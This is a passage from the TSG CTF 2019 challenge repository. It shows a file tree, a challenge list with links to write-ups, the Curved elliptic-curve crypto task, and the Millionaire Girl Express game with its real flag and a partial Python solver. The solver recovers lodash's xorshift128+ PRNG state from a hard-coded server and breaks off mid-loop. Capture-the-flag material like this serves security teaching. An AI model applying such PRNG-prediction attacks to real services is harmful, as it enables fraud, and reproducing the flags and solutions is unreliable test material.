├── PORTS ├── README.md ├── crypto ├── curved │ ├── README.md │ ├── problem │ │ └── curved.rb │ └── writeup │ │ ├── .gitignore │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ └── src │ │ ├── main.rs │ │ └── main_ramp.rs ├── millionaire-girl │ ├── README.md │ ├── docker-compose.yml │ ├── problem │ │ ├── .gitignore │ │ ├── docker-compose.yml │ │ ├── index.js │ │ ├── package-lock.json │ │ ├── package.json │ │ └── public │ │ │ └── index.html │ └── writeup │ │ ├── solver.py │ │ └── writeup.md ├── omega │ ├── README.md │ ├── params.rb │ ├── problem.rb │ └── writeup │ │ ├── hakatashi-solver.rb │ │ ├── make_problem.rb │ │ ├── solver.rb │ │ └── writeup.md └── opqrx │ ├── README.md │ ├── dist │ ├── flag.enc │ └── make.rb │ └── src │ ├── flag.txt │ ├── priv.key │ └── solver.rb ├── easy-docker-compose.sh ├── for └── obliterated-file │ ├── README.md │ ├── problem │ └── problem.zip │ └── writeup │ └── writeup.md ├── misc ├── plzseed │ ├── README.md │ ├── docker-compose.yml │ ├── problem │ │ └── plzseed.torrent │ └── writeup │ │ ├── .gitignore │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── bittorrent-tracker │ │ ├── .npmignore │ │ ├── .travis.yml │ │ ├── AUTHORS.md │ │ ├── CONTRIBUTING.md │ │ ├── LICENSE │ │ ├── README.md │ │ ├── bin │ │ │ └── cmd.js │ │ ├── client.js │ │ ├── examples │ │ │ ├── express-embed │ │ │ │ ├── package.json │ │ │ │ └── server.js │ │ │ └── tracker-scrape.md │ │ ├── img │ │ │ ├── img.png │ │ │ └── trackerStats.png │ │ ├── index.js │ │ ├── lib │ │ │ ├── client │ │ │ │ ├── http-tracker.js │ │ │ │ ├── tracker.js │ │ │ │ ├── udp-tracker.js │ │ │ │ └── websocket-tracker.js │ │ │ ├── common-node.js │ │ │ ├── common.js │ │ │ └── server │ │ │ │ ├── parse-http.js │ │ │ │ ├── parse-udp.js │ │ │ │ ├── parse-websocket.js │ │ │ │ └── swarm.js │ │ ├── package-lock.json │ │ ├── package.json │ │ ├── server.js │ │ ├── test │ │ │ ├── client-large-torrent.js │ │ │ ├── client-magnet.js │ │ │ ├── client-ws-socket-pool.js │ │ │ ├── client.js │ │ │ ├── common.js │ │ │ ├── destroy.js │ │ │ ├── evict.js │ │ │ ├── filter.js │ │ │ ├── querystring.js │ │ │ ├── request-handler.js │ │ │ ├── scrape.js │ │ │ ├── server.js │ │ │ └── stats.js │ │ └── tools │ │ │ └── update-authors.sh │ │ ├── flag.jpg │ │ ├── flag.rar │ │ ├── generate.js │ │ ├── hashes.json │ │ ├── nginx.conf │ │ ├── package-lock.json │ │ ├── package.json │ │ ├── parameter.js │ │ ├── peer.js │ │ ├── seeder.js │ │ ├── solver.js │ │ ├── src │ │ └── main.rs │ │ ├── tracker.js │ │ ├── utils.js │ │ ├── writeup.md │ │ └── xorshift.js ├── recorded │ ├── README.md │ ├── problem │ │ ├── Dockerfile │ │ ├── encrypted │ │ └── input │ └── writeup │ │ ├── daihon.txt │ │ ├── data.py │ │ ├── encrypted │ │ ├── ev2k.py │ │ ├── memo.txt │ │ └── writeup.md └── sanity │ └── README.md ├── pwn ├── STLC │ ├── Dockerfile │ ├── README.md │ ├── build │ │ ├── ctf.conf │ │ ├── flag │ │ └── start.sh │ ├── docker-compose.yml │ ├── problem │ │ ├── libc-2.27.so │ │ └── stlc │ └── writeup │ │ ├── Makefile │ │ ├── lambda.h │ │ ├── parser.h │ │ ├── problem.cpp │ │ ├── solver.py │ │ ├── type.h │ │ └── writeup.md ├── multiplier │ ├── Dockerfile │ ├── Makefile │ ├── README.md │ ├── build │ │ ├── ctf.conf │ │ ├── flag │ │ └── start.sh │ ├── docker-compose.yml │ ├── problem │ │ ├── libc-2.27.so │ │ └── multiplier │ └── writeup │ │ ├── Makefile │ │ ├── multiplier.c │ │ └── solve.py ├── ssb │ ├── .gitignore │ ├── Dockerfile │ ├── Makefile │ ├── README.md │ ├── build │ │ ├── ctf.conf │ │ ├── flag │ │ └── start.sh │ ├── docker-compose.yml │ ├── problem │ │ ├── libc-2.27.so │ │ └── ssb │ └── writeup │ │ ├── Makefile │ │ ├── fs.c │ │ └── solve.py └── vector │ ├── Dockerfile │ ├── Makefile │ ├── README.md │ ├── build │ ├── ctf.conf │ ├── flag │ └── start.sh │ ├── docker-compose.yml │ ├── problem │ ├── libc-2.27.so │ └── vector │ └── writeup │ ├── Makefile │ ├── solve.py │ └── vector.c ├── reversing ├── eso_vm │ ├── README.md │ ├── problem │ │ └── eso_vm-9384be37dd2fc5874b69e633014b24464eb80727 │ └── writeup │ │ ├── eso_vm_interp_solver.py │ │ ├── interp.c │ │ ├── problem_gen_code.py │ │ └── writeup.md └── ffi │ ├── README.md │ ├── problem │ └── ffi.ttf │ └── writeup │ ├── solve.py │ └── writeup.md ├── stego ├── 0000000000000000 │ ├── README.md │ ├── problem │ │ └── 0000000000000000.jpg │ └── writeup │ │ └── writeup.md └── harekaze │ ├── README.md │ ├── problem │ └── harekaze.jpg │ └── writeup │ ├── .gitattributes │ ├── .gitignore │ ├── build.js │ ├── harekaze.jpg │ ├── harekaze_analyze.png │ ├── harekaze_in.ai │ ├── harekaze_in.png │ ├── harekaze_solve.jpg │ ├── jpeg-js │ ├── .gitignore │ ├── .npmignore │ ├── .travis.yml │ ├── CONTRIBUTING.md │ ├── LICENSE │ ├── README.md │ ├── index.js │ ├── lib │ │ ├── decoder.js │ │ └── encoder.js │ ├── package-lock.json │ ├── package.json │ └── test │ │ ├── fixtures │ │ ├── apsara.jpg │ │ ├── apsara.rgba │ │ ├── cmyk-grey.cmyk │ │ ├── cmyk-grey.jpg │ │ ├── cmyktest.cmyk │ │ ├── cmyktest.jpg │ │ ├── fillbytes.jpg │ │ ├── grumpycat-50.jpg │ │ ├── grumpycat-nocolortrans.rgba │ │ ├── grumpycat.jpg │ │ ├── grumpycat.rgba │ │ ├── plusshelf-drawing.cmyk │ │ ├── plusshelf-drawing.jpg │ │ ├── redbox-with-rst.jpg │ │ ├── redbox.jpg │ │ ├── rgb.jpg │ │ ├── rgb.rgb │ │ ├── skater-progressive.jpg │ │ ├── skater-progressive.rgba │ │ ├── skater.jpg │ │ ├── tree-cmyk.cmyk │ │ ├── tree-cmyk.jpg │ │ ├── tree-rgb.jpg │ │ ├── tree-rgb.rgb │ │ └── unconventional-table.jpg │ │ └── index.js │ ├── package-lock.json │ ├── package.json │ ├── solve.js │ ├── test.js │ └── writeup.md └── web ├── badnonce ├── .gitattributes ├── .gitignore ├── README.md ├── flag.txt ├── index.php └── part_of_crawler.js ├── recon ├── .env ├── .gitattributes ├── .gitignore ├── README.md ├── dist │ ├── classes │ │ ├── UserController.php │ │ └── UserMapper.php │ ├── composer.json │ ├── composer.lock │ ├── part_of_crawler.js │ ├── public │ │ ├── .htaccess │ │ ├── css │ │ │ ├── bootstrap-grid.css │ │ │ ├── bootstrap-grid.css.map │ │ │ ├── bootstrap-grid.min.css │ │ │ ├── bootstrap-grid.min.css.map │ │ │ ├── bootstrap-reboot.css │ │ │ ├── bootstrap-reboot.css.map │ │ │ ├── bootstrap-reboot.min.css │ │ │ ├── bootstrap-reboot.min.css.map │ │ │ ├── bootstrap.css │ │ │ ├── bootstrap.css.map │ │ │ ├── bootstrap.min.css │ │ │ ├── bootstrap.min.css.map │ │ │ └── custom.css │ │ ├── image │ │ │ ├── admin.png │ │ │ └── tags.png │ │ ├── index.php │ │ └── js │ │ │ ├── bootstrap.bundle.js │ │ │ ├── bootstrap.bundle.js.map │ │ │ ├── bootstrap.bundle.min.js │ │ │ ├── bootstrap.bundle.min.js.map │ │ │ ├── bootstrap.js │ │ │ ├── bootstrap.js.map │ │ │ ├── bootstrap.min.js │ │ │ ├── bootstrap.min.js.map │ │ │ ├── jquery-3.2.1.slim.min.js │ │ │ └── popper.min.js │ ├── src │ │ ├── dependencies.php │ │ ├── middleware.php │ │ ├── routes.php │ │ └── settings.php │ └── templates │ │ ├── 404.phtml │ │ ├── base.phtml │ │ ├── index.phtml │ │ ├── myprofile.phtml │ │ ├── profile.phtml │ │ ├── recovery.phtml │ │ ├── report.phtml │ │ ├── reveal.phtml │ │ └── signup.phtml └── flag.txt └── secure-bank ├── README.md ├── docker-compose.yml ├── src ├── .gitignore ├── Dockerfile ├── Gemfile ├── Gemfile.lock ├── app.rb ├── config.ru ├── data │ ├── .gitignore │ └── flag.txt ├── public │ ├── app.js │ └── index.html └── puma.rb └── writeup └── atk.rb /PORTS: -------------------------------------------------------------------------------- 1 | 10001: plzseed (1) 2 | 10023: BADNONCE 3 | 10030: Millionaire Girl 4 | 10033: RECON 5 | 19292: Secure Bank 6 | 19857: password 7 | 30001: vector 8 | 30002: multiplier 9 | 30007: STLC 10 | 31000: ssb 11 | 36262: plzseed (2) 12 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # TSG CTF 2 | 3 | [![](https://score.ctf.tsg.ne.jp/ogimage.jpg)](https://score.ctf.tsg.ne.jp/) 4 | 5 | ## Challenges List 6 | 7 | **Name**|**Genre**|**Difficulty**|**Author**|**Solves** 8 | :------|:------|:------|:------|:------ 9 | [OPQRX](crypto/opqrx)|Crypto|easy|@kcz146|10 10 | [OMEGA](crypto/omega)|Crypto|easy|@kcz146|5 11 | [Millionaire Girl](crypto/millionaire-girl)|Crypto|hard|@hakatashi|3 12 | [Curved](crypto/curved)|Crypto|med|@hakatashi|4 13 | [Obliterated File](for/obliterated-file)|Forensics|easy-med|@taiyoslime|90, 61 (Again) 14 | [Sanity Check](misc/sanity)|Misc|warmup|@hakatashi|404 15 | [plzseed](misc/plzseed)|Misc|easy-med|@hakatashi|1 16 | [Recorded](misc/recorded)|Misc|med|@satos|3 17 | [Super Smash Bros](pwn/ssb)|Pwn|med|@moratorium08|11 18 | [Capacity Oriented Vector](pwn/vector)|Pwn|med|@moratorium08|6 19 | [Odd Multiplier](pwn/multiplier)|Pwn|easy|@moratorium08|10 20 | [STLC](pwn/STLC)|Pwn|hard|@satos|0 21 | [Eso VM](reversing/eso\_vm)|Rev|med|@satos|2 22 | [ffi](reversing/ffi)|Rev|med|@kurgm|19 23 | [Harekaze](stego/harekaze)|Stego|med|@hakatashi|8 24 | [0000000000000000](stego/0000000000000000)|Stego|hard|@kurgm|0 25 | [BADNONCE](web/badnonce)|Web|med|@lmt\_swallow|15 (part1), 8 (part2) 26 | [RECON](web/recon)|Web|med|@lmt\_swallow|3 27 | [Secure Bank](web/secure-bank)|Web|easy|@kcz146|10 28 | 29 | ## External Write-ups 30 | 31 | ### Top-teams 32 | 33 | * TokyoWesterns: https://westerns.tokyo/writeups/tsgctf2019.html 34 | * Super Smash Bros, Odd Multiplier, Capacity Oriented Vector, BADNONCE, Secure Bank, RECON, OPQRX, OMEGA, Millionaire Girl, Curved, Harekaze, Obliterated File, Obliterated File Again, ffi, Eso VM, Recorded, plzseed 35 | * hxp: https://hackmd.hxp.io/HZe6uFM5SK2QV-rue_5FSQ 36 | * Super Smash Bros, Odd Multiplier, OPQRX, OMEGA, Millionaire Girl, Curved, Harekaze, Obliterated File Again, ffi 37 | * NaruseJun (English): https://hackmd.io/s/HJhnHwTiE 38 | * BADNONCE Part1, Secure Bank, RECON, OPQRX, OMEGA, Harekaze, Obliterated File, Obliterated File Again, ffi, Recorded 39 | * NaruseJun (Japanese): https://hackmd.io/s/rk-iwwpo4 40 | * BADNONCE Part1, Secure Bank, RECON, OPQRX, OMEGA, Harekaze, Obliterated File, Obliterated File Again, ffi, Recorded 41 | 42 | ### Official 43 | 44 | * [English] https://gist.github.com/satos---jp/e778ac2f3c58cf3f56e8f2e37fd69b84 45 | * STLC 46 | * [English] https://gist.github.com/kurgm/b9aeb8110a3458c46019ea2679cc8159 47 | * 0000000000000000 48 | * [Japanese] http://taiyoslime.hatenablog.com/entry/2019/05/05/164213 49 | * Obliterated File, Obliterated File Again 50 | 51 | ### Unofficial 52 | 53 | * [Japanese] https://qiita.com/kusano_k/items/95667153509be6e45ef2 54 | * Survey, Sanity Check, Odd Multiplier, BANONCE Part1/Part2, Secure Bank, OPQRX, OMEGA, Curved, Harekaze, 0000000000000000, Obliterated File, Obliterated File Again, ffi, Recorded 55 | * [Japanese] https://qiita.com/reatoretch/items/b48c2f662e322dcb3a9e 56 | * Obliterated File, Obliterated File Again, Harekaze 57 | * [Japanese] https://graneed.hatenablog.com/entry/2019/05/05/162019 58 | * Obliterated File, Obliterated File Again 59 | * [Japanese] https://graneed.hatenablog.com/entry/2019/05/05/161950 60 | * Secure Bank 61 | * [Japanese] https://st98.github.io/diary/posts/2019-05-05-tsg-ctf.html 62 | * Obliterated File, Obliterated File Again, BADNONCE Part1/Part2, RECON 63 | * [Japanese] https://ptr-yudai.hatenablog.com/entry/2019/07/01/143652#-TSG-CTF 64 | * Super Smash Bros 65 | * [English] https://amccormack.net/2019-05-05-obliterated-file-tsg-ctf.html 66 | * Obliterated File, Obliterated File Again 67 | * [English] https://amccormack.net/2019-05-05-secure-bank-tsg-ctf.html 68 | * Secure Bank 69 | * [English] https://github.com/Hong5489/TSGCTF2019 70 | * Obliterated File, Obliterated File Again 71 | -------------------------------------------------------------------------------- /crypto/curved/README.md: -------------------------------------------------------------------------------- 1 | # Curved 2 | 3 | ## Author 4 | 5 | @hakatashi 6 | 7 | ## Description 8 | 9 | If you get curved, then... 10 | 11 | 曲がり角は駐車禁止ですよ? 12 | 13 | [curved.rb](problem/curved.rb) 14 | 15 | ## Difficulty Estimate 16 | 17 | Medium 18 | -------------------------------------------------------------------------------- /crypto/curved/problem/curved.rb: -------------------------------------------------------------------------------- 1 | require 'test/unit/assertions' 2 | include Test::Unit::Assertions 3 | 4 | # P = 2 ** 256 - 2 ** 32 - 977 5 | P = 2 ** 256 - 2 ** 32 - 313441 # We all like hacks, ain't we? 6 | O = [Float::INFINITY, Float::INFINITY] 7 | 8 | def inv(n) 9 | n.pow(P - 2, P) 10 | end 11 | 12 | def sqrt(n) 13 | z = 1 14 | z += 1 while z.pow((P - 1) / 2, P) != P - 1 15 | q = P - 1 16 | m = 0 17 | while q % 2 == 0 18 | q /= 2 19 | m += 1 20 | end 21 | c = z.pow(q, P) 22 | t = n.pow(q, P) 23 | r = n.pow((q + 1) / 2, P) 24 | m.downto(2) do |i| 25 | tmp = t.pow(2 ** (i - 2), P) 26 | if tmp != 1 27 | r = r * c % P 28 | t = t * c ** 2 % P 29 | end 30 | c = c ** 2 % P 31 | end 32 | r 33 | end 34 | 35 | def add(a, b) 36 | return a if b == O 37 | return b if a == O 38 | if a[0] == b[0] && a[1] == b[1] 39 | l = (3 * a[0] ** 2) * inv(2 * a[1]) 40 | x = l ** 2 - 2 * a[0] 41 | else 42 | return O if b[0] == a[0] 43 | l = (b[1] - a[1]) * inv(b[0] - a[0]) 44 | x = l ** 2 - a[0] - b[0] 45 | end 46 | [x % P, (l * (a[0] - x) - a[1]) % P] 47 | end 48 | 49 | def mul(a, n) 50 | k = O 51 | while n != 0 52 | if n % 2 == 1 53 | k = add(k, a) 54 | end 55 | a = add(a, a) 56 | n /= 2 57 | end 58 | k 59 | end 60 | 61 | Gx = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 62 | Gy = sqrt(Gx ** 3 + 7) 63 | G = [Gx, Gy] 64 | 65 | flag = File.read('flag') 66 | h = mul(G, flag.unpack("H*")[0].hex) 67 | assert h == [ 68 | 0x56df2adff3c3749cc4c62c9e7da339dc02d157868a1d76f9d058d634d6a9525f, 69 | 0xc167d7eb600437e2d6ead69ebcf2b1b2f88939c0fafda0b19aa3db33f5024b43, 70 | ] 71 | -------------------------------------------------------------------------------- /crypto/curved/writeup/.gitignore: -------------------------------------------------------------------------------- 1 | target -------------------------------------------------------------------------------- /crypto/curved/writeup/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "writeup" 3 | version = "0.1.0" 4 | authors = ["Koki Takahashi "] 5 | edition = "2018" 6 | 7 | [dependencies] 8 | num = "0.2" 9 | ramp = "0.5.1" 10 | fnv = "1.0.6" 11 | rug = "1.3.0" 12 | -------------------------------------------------------------------------------- /crypto/curved/writeup/src/main.rs: -------------------------------------------------------------------------------- 1 | use rug::{Assign, Integer}; 2 | 3 | #[derive(Clone, Debug)] 4 | struct Point { 5 | x: Integer, 6 | y: Integer, 7 | } 8 | 9 | fn bn(n: u32) -> Integer { 10 | Integer::from(n) 11 | } 12 | 13 | fn pow_mod(a_in: &Integer, n_in: &Integer, p: &Integer) -> Integer { 14 | let mut k = bn(1); 15 | let mut a = a_in.clone(); 16 | let mut n = n_in.clone(); 17 | while n != 0 { 18 | if n.clone() % 2 == 1 { 19 | k *= a.clone(); 20 | } 21 | a *= a.clone(); 22 | n = n / 2; 23 | println!("{:?}", n); 24 | } 25 | k 26 | } 27 | 28 | fn inv(a: Integer, p: &Integer) -> Integer { 29 | pow_mod(&a, &(p - bn(2)), &p) 30 | } 31 | 32 | /* 33 | fn add(a_in: &Option, b_in: &Option, p: &Integer) -> Option { 34 | if a_in.is_none() { 35 | return b_in.clone(); 36 | } 37 | if b_in.is_none() { 38 | return a_in.clone(); 39 | } 40 | let a = a_in.clone().unwrap(); 41 | let b = b_in.clone().unwrap(); 42 | if &a.x == &b.x && &a.y == &b.y { 43 | let l: Integer = ((3 * &a.x.pow(2)) * inv(&a.y * 2, p)) % p; 44 | let x: Integer = (l.pow(2) + (p - &a.x) * 2) % p; 45 | return Some(Point { x: &x % p, y: (&l * (&a.x + (p - &x)) + (p - &a.y)) % p }) 46 | } 47 | if &a.x == &b.x { 48 | return None; 49 | } 50 | { 51 | let l = ((&b.y + (p - &a.y)) * inv(&b.x + (p - &a.x), p)) % p; 52 | let x = (l.pow(2) + (p - &a.x) + (p - &b.x)) % p; 53 | return Some(Point { x: &x % p, y: (&l * (&a.x + (p - &x)) + (p - &a.y)) % p }) 54 | } 55 | } 56 | 57 | fn mul(a_in: &Option, n_in: &Integer, p: &Integer) -> Option { 58 | let mut k = None; 59 | let mut a = a_in.clone(); 60 | let mut n = n_in.clone(); 61 | while n != 0 { 62 | if n.clone() % 2 == 1 { 63 | k = add(&k, &a, &p); 64 | } 65 | a = add(&a, &a, &p); 66 | n = n / 2; 67 | } 68 | k 69 | } 70 | */ 71 | 72 | fn main() { 73 | // let mut map = FnvHashMap::default(); 74 | let p = (bn(1) << 256) - (bn(1) << 32) - bn(91931); 75 | for i in 0..100000 { 76 | println!("{:?}", i); 77 | inv(bn(i), &p); 78 | } 79 | /* 80 | let g = Some(Point { 81 | x: Integer::from_str_radix("79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798", 16).unwrap(), 82 | y: Integer::from_str_radix("0a398300b51ebda42267d6d7ec3a70ddb60fa1665092e499da77bbc6bbe43714", 16).unwrap(), 83 | }); 84 | let o = mul(&g, &bn(100000348), &p).unwrap(); 85 | let mut gj: Option = None; 86 | for j in 0..10000 { 87 | match gj.clone() { 88 | None => {}, 89 | Some(n) => { 90 | map.insert(n.x.to_str_radix(16, false), j); 91 | }, 92 | } 93 | gj = add(&gj, &g, &p); 94 | if j % 1000 == 0 { 95 | println!("{:?}", j); 96 | } 97 | } 98 | println!("{:?}", o.x.to_str_radix(16, false)); 99 | println!("{:?}", o.y.to_str_radix(16, false)); 100 | */ 101 | } 102 | -------------------------------------------------------------------------------- /crypto/curved/writeup/src/main_ramp.rs: -------------------------------------------------------------------------------- 1 | use num::traits::pow; 2 | use ramp::Int; 3 | use fnv::FnvHashMap; 4 | 5 | #[derive(Clone, Debug)] 6 | struct Point { 7 | x: Int, 8 | y: Int, 9 | } 10 | 11 | fn bn(n: u32) -> Int { 12 | Int::from(n) 13 | } 14 | 15 | fn inv(a: Int, p: &Int) -> Int { 16 | a.pow_mod(&(p - 2), &p) 17 | } 18 | 19 | fn add(a_in: &Option, b_in: &Option, p: &Int) -> Option { 20 | if a_in.is_none() { 21 | return b_in.clone(); 22 | } 23 | if b_in.is_none() { 24 | return a_in.clone(); 25 | } 26 | let a = a_in.clone().unwrap(); 27 | let b = b_in.clone().unwrap(); 28 | if &a.x == &b.x && &a.y == &b.y { 29 | let l: Int = ((3 * &a.x.pow(2)) * inv(&a.y * 2, p)) % p; 30 | let x: Int = (l.pow(2) + (p - &a.x) * 2) % p; 31 | return Some(Point { x: &x % p, y: (&l * (&a.x + (p - &x)) + (p - &a.y)) % p }) 32 | } 33 | if &a.x == &b.x { 34 | return None; 35 | } 36 | { 37 | let l = ((&b.y + (p - &a.y)) * inv(&b.x + (p - &a.x), p)) % p; 38 | let x = (l.pow(2) + (p - &a.x) + (p - &b.x)) % p; 39 | return Some(Point { x: &x % p, y: (&l * (&a.x + (p - &x)) + (p - &a.y)) % p }) 40 | } 41 | } 42 | 43 | fn mul(a_in: &Option, n_in: &Int, p: &Int) -> Option { 44 | let mut k = None; 45 | let mut a = a_in.clone(); 46 | let mut n = n_in.clone(); 47 | while n != 0 { 48 | if n.clone() % 2 == 1 { 49 | k = add(&k, &a, &p); 50 | } 51 | a = add(&a, &a, &p); 52 | n = n / 2; 53 | } 54 | k 55 | } 56 | 57 | fn main() { 58 | // let mut map = FnvHashMap::default(); 59 | let p = (bn(1) << 256) - (bn(1) << 32) - bn(91931); 60 | for i in 0..100000 { 61 | inv(bn(i), &p); 62 | } 63 | /* 64 | let g = Some(Point { 65 | x: Int::from_str_radix("79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798", 16).unwrap(), 66 | y: Int::from_str_radix("0a398300b51ebda42267d6d7ec3a70ddb60fa1665092e499da77bbc6bbe43714", 16).unwrap(), 67 | }); 68 | let o = mul(&g, &bn(100000348), &p).unwrap(); 69 | let mut gj: Option = None; 70 | for j in 0..10000 { 71 | match gj.clone() { 72 | None => {}, 73 | Some(n) => { 74 | map.insert(n.x.to_str_radix(16, false), j); 75 | }, 76 | } 77 | gj = add(&gj, &g, &p); 78 | if j % 1000 == 0 { 79 | println!("{:?}", j); 80 | } 81 | } 82 | println!("{:?}", o.x.to_str_radix(16, false)); 83 | println!("{:?}", o.y.to_str_radix(16, false)); 84 | */ 85 | } 86 | -------------------------------------------------------------------------------- /crypto/millionaire-girl/README.md: -------------------------------------------------------------------------------- 1 | # Millionaire Girl 2 | 3 | ## Author 4 | 5 | @hakatashi 6 | 7 | ## Description 8 | 9 | Once upon a time there was a little girl whose mother was sick, and she was so poor that she had nothing else but the clothes she was wearing. 10 | 11 | She was good and pious, however. 12 | 13 | And as she was thus forsaken by all the world, she gambled her life, trusting in dear God. 14 | 15 | ...and her cryptography skills. 16 | 17 | http://ftp.hakatashi.com:10030/ 18 | 19 | [Source Code](problem) 20 | 21 | --- 22 | 23 | 昔々あるところに、ひとりの貧しい少女がおりました。 24 | 25 | 病気の母親を助けるために、朝に夕に働きますが、お金は少ししか集まりません。 26 | 27 | でも大丈夫、世の中には、親切な人が大勢いるのです。 28 | 29 | そう、暗号学に詳しい親切な人が⋯⋯。 30 | 31 | http://ftp.hakatashi.com:10030/ 32 | 33 | [ソースコード](problem) 34 | 35 | ## Difficulty Estimate 36 | 37 | hard 38 | -------------------------------------------------------------------------------- /crypto/millionaire-girl/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | millionaire-girl: 4 | restart: always 5 | image: 'node:11.11.0-alpine' 6 | user: node 7 | working_dir: /home/node 8 | volumes: 9 | - ./problem:/home/node/app:ro 10 | expose: 11 | - '10030' 12 | command: sh -c "cp app/package* /home/node && npm install && cd app && npm start" 13 | ports: 14 | - '10030:10030' 15 | environment: 16 | - FLAG=TSGCTF{A_huge_we@lth_is_built_upon_millions_of_bodies} 17 | -------------------------------------------------------------------------------- /crypto/millionaire-girl/problem/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules -------------------------------------------------------------------------------- /crypto/millionaire-girl/problem/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | millionaire-girl: 4 | image: 'node:11.11.0-alpine' 5 | user: node 6 | working_dir: /home/node 7 | volumes: 8 | - ./:/home/node/app:ro 9 | expose: 10 | - '10030' 11 | command: sh -c "cp app/package* /home/node && npm install && cd app && npm start" 12 | ports: 13 | - '10030:10030' 14 | environment: 15 | - FLAG=TSGCTF{XXXXXXXXXXXXXXXX} 16 | -------------------------------------------------------------------------------- /crypto/millionaire-girl/problem/index.js: -------------------------------------------------------------------------------- 1 | const express = require('express'); 2 | const session = require('express-session'); 3 | const {random} = require('lodash'); 4 | 5 | const initSession = (req) => { 6 | if (typeof req.session.dollar !== 'number') { 7 | req.session.dollar = 0; 8 | } 9 | if (typeof req.session.shots !== 'number') { 10 | req.session.shots = 0; 11 | } 12 | if (typeof req.session.combo !== 'number') { 13 | req.session.combo = 0; 14 | } 15 | if (!Array.isArray(req.session.cache)) { 16 | req.session.cache = []; 17 | } 18 | if (req.session.cache.length === 0) { 19 | while (req.session.cache.length < 240) { 20 | const randomTexts = random(0, 6 ** 16 - 1).toString(6).padStart(16, '0'); 21 | const randomNumbers = randomTexts.split('').map((char) => parseInt(char)); 22 | req.session.cache.push(...randomNumbers); 23 | } 24 | } 25 | } 26 | 27 | const app = express(); 28 | 29 | app.use(express.static('public')); 30 | 31 | app.use(session({ 32 | secret: Math.random().toString(), 33 | resave: false, 34 | saveUninitialized: false, 35 | })); 36 | 37 | app.post('/shot', (req, res) => { 38 | initSession(req); 39 | if (req.session.cache[0] === 0) { 40 | req.session.cache.shift(); 41 | req.session.dollar = 0; 42 | req.session.shots = 0; 43 | req.session.combo = 0; 44 | return res.send('bang!'); 45 | } 46 | req.session.cache[0]--; 47 | req.session.shots++; 48 | req.session.combo++; 49 | req.session.dollar += req.session.shots * req.session.combo * 10; 50 | if (req.session.dollar >= 1000000) { 51 | return res.send(process.env.FLAG); 52 | } 53 | return res.send(req.session.dollar.toString()); 54 | }); 55 | 56 | app.post('/roll', (req, res) => { 57 | initSession(req); 58 | req.session.cache.shift(); 59 | req.session.combo = 0; 60 | return res.send('rattle'); 61 | }); 62 | 63 | app.listen(10030, () => console.log('Launched')); -------------------------------------------------------------------------------- /crypto/millionaire-girl/problem/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "millionaire-girl", 3 | "engines": { 4 | "node": "11.11.0" 5 | }, 6 | "version": "1.0.0", 7 | "description": "@hakatashi", 8 | "private": true, 9 | "scripts": { 10 | "start": "node index.js", 11 | "test": "echo \"Error: no test specified\" && exit 1" 12 | }, 13 | "keywords": [], 14 | "author": "", 15 | "license": "", 16 | "dependencies": { 17 | "express": "^4.16.4", 18 | "express-session": "^1.15.6", 19 | "lodash": "^4.17.11" 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /crypto/millionaire-girl/problem/public/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Millionaire Girl 7 | 8 | 27 | 28 | 29 |
30 |

Millionaire Girl

31 |

Rules

32 |
33 |
    34 |
  • You'll have revolver with six chambers and one bullet inside.
  • 35 |
  • For each turn, you can shot the trigger or roll the cylinder to reset the position of bullet.
  • 36 |
  • For each success, you earn [shots] x [combo] x 10 dollars.
  • 37 |
  • When revolver fires, you die.
  • 38 |
  • Go million to get the flag.
  • 39 |
40 |
41 |
42 | 43 |
44 |
45 | 46 | 47 |
48 |
score: ${{dollar}} next: ${{next}}
49 |

50 | 51 | Bang! The gun fired and you lost. 52 | 53 | 54 | The trigger clicked. 55 | 56 | 57 | rattle-rattle... 58 | 59 | 60 | {{log}} 61 | 62 |

63 |
64 | 65 | 114 | 115 | 116 | -------------------------------------------------------------------------------- /crypto/millionaire-girl/writeup/solver.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import requests 3 | from z3 import * 4 | 5 | def base6(num): 6 | return ((num == 0) and '0') or (base6(num / 6).lstrip('0') + str(num % 6)) 7 | 8 | # https://blog.securityevaluators.com/xorshift128-backward-ff3365dc0c17 9 | def reverse17(val): 10 | return val ^ (val >> 17) ^ (val >> 34) ^ (val >> 51) 11 | def reverse23(val): 12 | return (val ^ (val << 23) ^ (val << 46)) & 0xFFFFFFFFFFFFFFFF 13 | def xs128p_backward(state0, state1): 14 | generated = (state0 + state1) & 0xFFFFFFFFFFFFFFFF 15 | prev_state1 = state0 16 | prev_state0 = state1 ^ (state0 >> 26) 17 | prev_state0 = prev_state0 ^ state0 18 | prev_state0 = reverse17(prev_state0) 19 | prev_state0 = reverse23(prev_state0) 20 | return prev_state0, prev_state1, generated 21 | 22 | def main(): 23 | cookies = None 24 | 25 | dubs = [] 26 | for i in range(5): 27 | t = '' 28 | for j in range(16): 29 | cnt = 0 30 | while True: 31 | r = requests.post('http://34.85.75.40:10030/shot', cookies=cookies); 32 | if cookies is None: 33 | cookies = r.cookies 34 | print r.text 35 | if r.text == 'bang!': 36 | break 37 | cnt += 1 38 | t += str(cnt) 39 | dubs.append(t) 40 | 41 | print dubs 42 | 43 | generated = [] 44 | for dub in dubs: 45 | data1 = int(2 ** 52 * (int(dub, 6) / float(6 ** 16))) 46 | data2 = int(2 ** 52 * ((int(dub, 6) + 1) / float(6 ** 16))) 47 | assert (data1 & 0xFFFFFFFF00000) == (data2 & 0xFFFFFFFF00000) 48 | generated.append(data1 & 0xFFFFFFFF00000) 49 | 50 | # Backward 51 | generated = generated[::-1] 52 | 53 | print generated 54 | 55 | state = [BitVec("state%d" % i, 64) for i in xrange(2)] 56 | initial_state0 = state[0] 57 | initial_state1 = state[1] 58 | s = Solver() 59 | 60 | # http://inaz2.hatenablog.com/entry/2016/03/07/194034 61 | for i in 